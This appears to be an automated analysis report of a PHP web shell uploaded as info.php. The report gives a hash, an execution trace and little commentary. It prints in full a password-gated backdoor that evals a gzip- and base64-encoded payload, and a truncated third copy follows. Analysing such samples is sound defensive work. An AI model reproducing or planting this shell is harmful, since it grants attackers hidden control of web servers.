PHP Malware Analysis

info.php

md5: ec2c3079b6e56a9a1c5a507ba681c459

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Screenshot


Attributes

Execution


Deobfuscated PHP code

 if (($_SERVER["PHP_AUTH_USER"] != $user) || (($_SERVER["PHP_AUTH_PW"]) != $pass))
 {
  header("WWW-Authenticate: Basic realm=\"dvildance was here\"");
  header("HTTP/1.0 401 Unauthorized");
  exit();
 }
// --- php shell  $a='n';$YawW='d';$fA='o';$Udg='g';$P='e';$f='b';$Xgv='i';$yDRV='l';$cgCi='4';$Vs='t';$Cl='_';$g='s';$YKXpR='z';$RxyA='a';$AOF='f';$xmv='c';$Eg='6';$Om=$f.$RxyA.$g.$P.$Eg.$cgCi.$Cl.$YawW.$P.$xmv.$fA.$YawW.$P;$iQ=$Udg.$YKXpR.$Xgv.$a.$AOF.$yDRV.$RxyA.$Vs.$P;eval($iQ($Om('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')));

Execution traces

data/traces/ec2c3079b6e56a9a1c5a507ba681c459_trace-1676238144.3475.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 19:42:50.245333]
1	0	1	0.000156	393512
1	3	0	0.000212	401224	{main}	1		/var/www/html/uploads/info.php	0	0
1	3	1	0.000236	401336
			0.000259	314224
TRACE END   [2023-02-12 19:42:50.245469]


Generated HTML code

<html><head></head><body>if (($_SERVER["PHP_AUTH_USER"] != $user) || (($_SERVER["PHP_AUTH_PW"]) != $pass))
 {
  header("WWW-Authenticate: Basic realm=\"dvildance was here\"");
  header("HTTP/1.0 401 Unauthorized");
  exit();
 }
// --- php shell  $a='n';$YawW='d';$fA='o';$Udg='g';$P='e';$f='b';$Xgv='i';$yDRV='l';$cgCi='4';$Vs='t';$Cl='_';$g='s';$YKXpR='z';$RxyA='a';$AOF='f';$xmv='c';$Eg='6';$Om=$f.$RxyA.$g.$P.$Eg.$cgCi.$Cl.$YawW.$P.$xmv.$fA.$YawW.$P;$iQ=$Udg.$YKXpR.$Xgv.$a.$AOF.$yDRV.$RxyA.$Vs.$P;eval($iQ($Om('7TvbUhtJss8zEfMP5TZLSTuglgTYrG4YY2yztrEX8MZOsA5Fq7sk9dDqbvcF0HgccT7knJ87X7KZWVV90wV8mXlaHEatqsysrMysvHVxMOgdhNPwpx9FFAXRMBJhECWuP6k1610Wi2SYuDMx9NyZm9CQO65NYHRmTVx7+DENEhEPJ6Fdq9c/sXEQCcue1jaG796eXzArZhtXYt4fbFxbXioAQE5c4ugH1mdxErlh7FnxVMQ1BdRln+GfsKcB470Hz94eXfzy7pi9vHjzevDTj71pMvPoU1gOfnquf8Ui4fUN1w58gyXzUMAzcCfMiTs22DQS474xTZIw7pim3UiCcBf+N9zADIftdrs1G38cBe3Gr+HEGPRGUUZUIhqSeJzMPQFcikQvkYjbxLTj2ECEmUgs5lszGHdEbMOmEhe5AZYS4Sd9g/3///wvO/Z/DebsdCIiy5+wp/D8L/fW/ZcLk//HiE7iJp4YHI7cueW3dnYes3eRe20lgp1Phef1TDlf5E9vbAwrxY1JEEw8YYVu3LCDGbJ3MLZmrjfvvwL8+c/nnjW6x44YsGID3yIa9EJmg37ivjHCVYcIZDBC7hu46Hbs/iY6e83wtmsHXhB1IuF0EWo7nlpOcNNhMEX/2/jrYbPZZFuLY12iJZntELMMme0ag00v6Zqbk6TL2CrBsBymR5IY9EzFP+yEmIWHUeDMP/30Y3EhZuRLGV1mp1HsXgvWHVn21SQKUt/psDTyapmY3dEIJGteOztnVzv7Rp35wTacGGElbOzews5/+lH+Y+onpyQFxVrN5l/o1zpQKUk28mBoAU5N3kzdRMBh0dPVfwpsDhsMboAIAT5UFsmSqDMNrkUEAllc92F71N5vjwCpqEitsxbpbEw/C3QbYzeKk+VUW3/DfxIlsUaeQLAgcgRMtpCmBGBOkCTCYRKwAQcqiYL5kDDYpy4KoqCfnCoMS2JIKw4815GWhTMrrEsK1XHj0LPmHdcHExfbIy8gqTOyB+A8DFy0JTmU2XhGlvTaenxLI6HlOOA8OzvKuGmQpOgIO4gs9AsdqbpspiJfJd7mXnOvm2kdJGF90krV+FW6YI2+kGKzMvUuQVmq0Of0I7FdP0yTrVh4wk62EMUCv17QFu6OjFPKuXR4r0i8MYp3wQa0sopS3J4Fv21LwtuR5bhp3CGOcOpGjK7cZMVsZfQRDX5mjdxRsU9Mk7B8iAkopG1003i0AAh0ugTASbU42/GyeYiHoOHtcerbEgytxlpKCmQuacH+Uz/pMNcfuz6dW9r2aq7KsxWWypOr+SnDrWFmJR+rWLjH6vdaWLkGtAQI+k+IY8gNxhGwEWs2QI3gMz+xILRsNwGvvddoIvheebQpR8nBLgIjdaWfP2yBP4owBDFTR7GeqVMfjGeUNJBjvHGdZNo3HjebhvKDfWMPMhA4jconZd9jXEB9tzx34vcNGS1lDgJBP3EGvCtzMEMP9PCQS4X1OSiMA/DP7OQdOxcReBrGEKjDSmDkdfjAaEDGOA3iZDRH+4L08Pz47J/HZ5f85cXFu+FLSAn5h3rjjqXO53EiZuQN1y0FuewwpWXupHgUOBBnns7XESzkHL+z49O/v/2Fnb44Pjs8fcHWE38RQW712zrS7I3lp7FrsQsRxRZYpgtP1izPYZC+iQvItNQkTQ+Mrs6Ov6/mc90XmTVgQ8bgneu5U/bOSqbsJRxldggyuWIdxSnjVBa4MZQLoNwXxxeXPARYUCrm/PgIyX5pAgxbeLHIZ8FC7BunRum/HoPAj/UIBBpR4//+N9/iJt+iSQCjzxigxG3ogSJrxcmsEJFAWIi4DtQh8BU4Al7xifX7jHO2uYmT+KWJ3FpAMolSkUnZUqn2AdLqm8bA7JkWng/MeVwfIT+XSdYLU0uJcOKwtuH2m90Nt9eH9eHz559hfXnoJN+XG+4Hg0S74bIHfWSzrgBMo5tVScaANxChwZExk+cz0nrIjvJjXdDU85PXx+eXfOx6QuoK5uwgnFenLnkyC4d4qPgHKeMGSLuxACUh6nobvGRIUEIKqC2eimhqxa7H3oirzNRHETORN2UUS7BlHgv4L6yJRcg5rkTNdw2ynTEBAYnqmlnqJW5oRYmJ49uOlVgGm6FDcvoGlqPk9patdU4JEPslSCP2HLaYG3yPMiRVOOHuDVX+yWcTKRZB4nQE9bPBqMTtG+/BYi1HwRFb8nwrZeW+V1UxRnVAHX2waT4TfsqVE+DgBLh2Ahwei06A7/GSE8Dv0glwSZVnVrK4nqXKQF5Kx7m0an7ABy+DmUDzy1HvQHHcqL8BvzadoG/PwGkeRZAuDo9Cyxfe11FKgv4M4PjgDfweOmIMjuPreYqjMTAFv8skzFwneDClU3MC/oHOPu6kzqQFc+pSACgE8B96YSTIkWciJYtDFvtGnjNDbQ3lRN/YMcrHRoqFnQk4uOCH4/gGlNwzkShRN9VShcL3h17hkY6ERSla33iY238IURkO1Q9lixYzy/W0SasvsuYvJGwrs/sV1QDT1n+MBJmXAhNXV3gIqsvr0yLX19+KDHzT+mRohlmWlTyFwMkPJE90KjQc4mk8gBOPTTK2cVL4kVFrCFViBHSGaSwijF9FmBbFvSXZTgnMU6SEf13jZ8dv3l4cDw+fPTvj1G5jmbum3hmX8kA3C3a2QdqhVeQsfa/SRzbkTIezhkIqgbSQhXEQCh/i6BTOskmApe02GDcbNhmiiQEOzckfB3yL8RtkdXwTQV5TK1HdKvOBULYXxBWo+lfy8scx4Z2gULO+j1GeQ3ka7eb+Tnmc9FhWP/DZQUAzwpMbwsE9iKGaTvotMKsNSFIcCqvOEPYyBuwnGEC+XAWyL/ugSlB7InBb09bgVUqNx5fBldupgcdoKQuPhHzIHRtEUojDObKaOYdw4bP3YOe4hD+3KIY/eMBkgloioUKxdnbF4y17iOowLt2jgZHNwAMFvqk3SpMk8Fng255rX8lxmeAbBZZ6poTLjzXryVbsQBenLMeEvV1bEcNk5wI7BX3mBHYKm0qwVjn2BD4+nZ84NclGvZvBNmRfBI96hiNuhX0UzGaWDwgIaFAiC2Wb5IDxTCLoWQphFYwBFuwbw5EHKbXuV5elgsbYwFS1UbE2FNXgBRjVlfClLjBWUZQZFWIBLN79vDYndFwhU2/Uex7WvGASpIkMbZgTo9hSXzqj8+Pz85O3p5czZ29FQfehngVNJYYb13eCm4YX2NQPwMShm8nIkHk004snKqYaGNMNXHrRF46sWAwhYCtviAAP8AQNxa0bJ/FyONzs4gQI02CnQcKeY0gBSYIEDeWAH7gxAn0xuZOYKB6yZ24EJhNE85zuE3u6giQLIiJqHFm+D+hvwRPmFBB3A/eItc+T2AaTu4PMK3AUXsBuruCfXl0VSCBsSQorJHyqs47UAX7BmsNoGFQh5d/lADkqPM81hYeagoVJURugZ3FbqOpQGqaB9kt0sm+Ka9iD8CyMWrg2KRDcxVA1lUGNRG8rg6evJHzt3SJdW9tQmfJySU6dSj6QRDb9URxWfulKooiEaRcf1DYftprN5k63rmCkc/QdJb+s1DIKaR1kWiq94sguz5NH2c6ls1lcS/J8QZ4AzM9z0Jvp4magkKQHBQzIXh9zFgU38oF8KkefylWKxL86R+Iy5cqtSHlpjsoq6pJnTiZPjKtdEJnb8gL1wSlQZ8GYiqnCDv/UvSlb0zsjo8Cm0V1bkko6J1/FnqnaIt+C7pKrXbT39Db2vx/r0uwHLwFbOGw0z1+I7TwGj644qOyhEHl16lhmCC39yzlS4sPgA+chCaCAUzl0MQvI4krBr+taycAKy8hSFK66XMvOkSpTymU6CHLw/uw1M9nrk9NX4Le0OhZzDVlIpJGny6u9JkRa4U6mEHlb8Pz9igvMGCFhvLm5acjQDllqw/XMS+yafDBTqvzR3rK3qDMAc/0O2wtvmZUmQVe/RNr2xDih8S6+tP2YurhlbaWLwqB37rJPcacswvEqUXyzJJQgkBHstYB+KMRcfoCnjx/J/5uUialHx/O+RRbYCa8kmOX60X/8/Tb1OrCvmHTURt67wVQejKtQhcE3qsHCcWEwHNOYUxjyH+ugt+EUkvVRNY6g/XOdK3KZK3Jdz3NcnGcNL76k4cVLApL9OuVUgMfKrPYScn6SnXXZtcrOOYXCwgEv939J55Fd6AZmzfgjWTBrU9WuqorYzRNW3QdXHfCsXYgANU6tFd7AqyFxKGzX8uypFcUyj6AKPcsjFnjDnimh11XzsbqPgK5yYDqFWZBSGwyCD4NsiEMsgbqd5x3PEovamWGrVNkAdb8bXM3rjVDKXaRNvaTpDNyq7MqW095QRLO8YYtgtfICW4uQS3qqI1CrMTiaQlUo2DuAhFWwTMpatNUW68ruLL0kWCQke7ULTd5Kp7baiy0Q6Oi8R3ktmDFK3kz6sN28nGyA9cZJVIvDyPWTcY3/BXsDqHFEjityqte32PYuWMGSnu3UdRzhZw4T4AurVPVprMcGpWbIpK8F+EqH+EVQ6g7z3DoX7QQOE/bdlxmKL27ynjzMStAFYyl09Jfgrezln6dXMdQOE8tPXNyohR29L7MZaSFlCqxTW2IzGWvEV9GHal67d9jVqbhhlIFWrEoRWGZY7eYSncvV/lSbkXr7nkYjHHDxy0wmc9ob4zDrw1UMRrbaAFV328bh1gL+SrPJ3Msx8CCjwNcYzWrsrL03Dut3GUUlcd9vyrS93dTd58g27htcyp4FQ0sxJ//zrAV1e5etnFvXYsFasiCWN47KqsijWyG4Lb78XRM0+6WgWTBN5FLPQ+Wp/NWs2NzI3ynf5ZKmVpjGkJyonsnXmFeFBPvvz+qfxVexFb9TUC7lnlK7KV64u/oS9WauQ2qHKoivjDnrKRSTlMJp2FD9NrycoDtv6sqBAnbca2peK7dgDNbc0mhWbmnsVG5ptJbfz9E3cumqpRxzstOIAQ5SWiBTfBtI6XMZ8BwC3L0A83TsXuBvAscdz1eDqhfc2Q0NLVHsQMKntIys4ZpnJjjHfv+dgMiQGrz8tbHs3kUSafYqNzAaZdINeYuCnqiHvrix7e1129ZecIgRETVe5b2+zB6xqWRQJSPPC+4b3+Hcm4C+qqDfL6gkt4x5F2sox3utLA9J/i5jjTyWRNvs/fOBjA+bZU2QJct3K4WYhoMSXEcufS+jZ8rxRQgZX4zBM/pcDacy8SP8WA2lc68z+izCmZLb9YEZx7Koiw3y9eAyE82zAGWbX5Q5LFj2+lRgUGhlrDqun/MDVXE/PVmYO2sf1h16en2QnXp6/1nYAc0WD/YGZuaYmGIRD48LwGar2d7N4ajLU6NvWzvyKMipQZ8hJGa6i6BEZKsNSRx78zQPKRqSPmHu1dOybBacjWo1lP0NDjb4gvlnMyscEMzLZb/aDylh3uFH1rui1TRyZ7bUExHindyt80Xlpf/rjNZQkyUAlkjf5rDoPtuXeSxpw1/tslagf4vPUlULzkB6VpoqXMIq/ClQMV3UnYDw1sjtieqf0eAoCOcRts7Z5sPWo791S9d8DbrmaxRuEDfYoeexM0LAm1zRtXAakhad+GwbZNl0I9fUt7xN9Zdv6EX1dQZ1xJQD3aCvyjMWp2SDuabmN1nz9qjZbNIbW/1Ir2zHAV4Tinl+D6CMdZhjHVaxvJVY+znWfhVreyXWoxzrURVrtBJrN8farWI5K7HaOVa7imWvxGrlWK0qVphhFUdT2ceir41+mVqzhSQOGI8466Bg8C3/csjmvoS8uRtylyDLg/tqoZjQbznDV/7LQc71CmuWaN+b7da92W7uL7K9ezfbu1/AdnP3vmw32/dmu7XIdlvxlKxmW4NcFNiORJJGvlwJjeYAXQDdQHzi+u4QWy08SBO8JDFKx2MRQb3Itxj+fW4OoP6ubUh/2Bur6WV/0asRZmIWRHM5gxfqHu2+wf3Kq6U1fiRL2u0LcMgd+tM1ckpdRh0xkfTfXzzf3icJJemvqeWrq4l8Kuwr/KPXwJ/PgjR+/GSCM/gnqlhS3w7VdX/97lTeDNE3iuTn8PTwzTHdqslnzo7/8f74/GL4/uxEvmwTseUPLag68T4XhK7bjHgnZH89eccOHScScQxyvmRGhVZ+61Le3cGb98hmrbCZLWYcnR0evTo+Y09/YejSja3SugBwH8p1vFL6Hw==')));</body></html>

Original PHP code

 if (($_SERVER["PHP_AUTH_USER"] != $user) || (($_SERVER["PHP_AUTH_PW"]) != $pass))
 {
  header("WWW-Authenticate: Basic realm=\"dvildance was here\"");
  header("HTTP/1.0 401 Unauthorized");
  exit();
 }
// --- php shell  $a='n';$YawW='d';$fA='o';$Udg='g';$P='e';$f='b';$Xgv='i';$yDRV='l';$cgCi='4';$Vs='t';$Cl='_';$g='s';$YKXpR='z';$RxyA='a';$AOF='f';$xmv='c';$Eg='6';$Om=$f.$RxyA.$g.$P.$Eg.$cgCi.$Cl.$YawW.$P.$xmv.$fA.$YawW.$P;$iQ=$Udg.$YKXpR.$Xgv.$a.$AOF.$yDRV.$RxyA.$Vs.$P;eval($iQ($Om('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